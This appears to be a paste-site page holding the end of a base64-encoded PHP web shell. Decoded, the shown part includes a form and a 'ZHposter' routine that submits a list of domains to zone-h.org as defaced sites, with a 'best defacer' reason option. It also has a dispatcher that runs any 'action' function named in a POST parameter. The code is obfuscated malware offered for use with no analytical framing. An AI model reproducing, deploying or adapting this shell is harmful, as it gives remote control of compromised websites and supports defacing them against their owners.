cHRpb24+DQo8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPlBhdHJpb3Rpc208L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjciID5Ob3QgYXZhaWxhYmxlPC9vcHRpb24+DQo8L3NlbGVjdD4NCjwvYnI+DQo8dGV4dGFyZWEgbmFtZT0icDQiIGNvbHM9IjQ0IiByb3dzPSI5Ij5MaXN0IE9mIERvbWFpbnM8L3RleHRhcmVhPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgTm93ICEiIC8+DQo8L2Zvcm0+JzsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4iOw0KDQppZigkX1BPU1RbJ2EnXSA9PSAnWkhwb3N0ZXInKQ0Kew0KCQkJCW9iX3N0YXJ0KCk7DQoJCQkJJHN1YiA9IEBnZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsNCgkJCQlpZighaW5fYXJyYXkoImN1cmwiLCAkc3ViKSkNCgkJCQl7DQoJCQkJCWRpZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTsNCgkJCQl9DQoJCQkNCgkJCQkkaGFja2VyOSA9ICRfUE9TVFsncDEnXTsNCgkJCQkkbWV0aG9kOSA9ICRfUE9TVFsncDInXTsNCgkJCQkkbmVkZW45ID0gJF9QT1NUWydwMyddOw0KCQkJCSRzaXRlOSA9ICRfUE9TVFsncDQnXTsNCgkJCQkNCgkJCQlpZiAoZW1wdHkoJGhhY2tlcjkpKQ0KCQkJCXsNCgkJCQkJZGllICgiWyNdIFlvdSBNdXN0IEZpbGwgSW4gVGhlIEF0dGFja2VyIE5hbWUgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYoJG1ldGhvZDkgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSANCgkJCQl7DQoJCQkJCWRpZSgiWyNdIFlvdSBNdXN0IFNlbGVjdCBUaGUgTWV0aG9kICEiKTsNCgkJCQl9DQoJCQkJZWxzZWlmKCRuZWRlbjkgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSANCgkJCQl7DQoJCQkJCWRpZSgiWyNdIFlvdSBNdXN0IFNlbGVjdCBUaGUgUmVhc29uIik7DQoJCQkJfQ0KCQkJCWVsc2VpZihlbXB0eSgkc2l0ZTkpKSANCgkJCQl7DQoJCQkJCWRpZSgiWyNdIFlvdSBNdXN0IEVudGVyIHRoZSBTaXRlcyBMaXN0ICEgIik7DQoJCQkJfQ0KDQoJCQkJJGkgPSAwOw0KCQkJCSRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGU5KTsNCgkJCQl3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIA0KCQkJCXsNCgkJCQkNCgkJCQlpZihzdWJzdHIoJHNpdGVzWyRpXSwgMCwgNCkgIT0gImh0dHAiKSANCgkJCQkJew0KCQkJCQkJJHNpdGVzWyRpXSA9ICJodHRwOi8vIi4kc2l0ZXNbJGldOw0KCQkJCQl9DQoJCQkJCVpvbmVIKCJodHRwOi8vem9uZS1oLm9yZy9ub3RpZnkvc2luZ2xlIiwgJGhhY2tlcjksICRtZXRob2Q5LCAkbmVkZW45LCAkc2l0ZXNbJGldKTsNCgkJCQkJZWNobyAiU2l0ZSA6ICIuJHNpdGVzWyRpXS4iIERlZmFjZWQgISA8L2JyPiI7DQoJCQkJCSsrJGk7DQoJCQkJfQ0KCQkJCWVjaG8gIlsjXSBTaXRlcyBTZW50IFRvIFpvbmUtSCA6RCAhISAiOw0KDQoJfQ0KZWNobyAnPC9kaXYnOw0KcHJpbnRGb290ZXIoKTsNCn0NCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQ0KICAgIGlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkNCiAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247DQogICAgZWxzZQ0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApDQogICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkNCj8+")); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement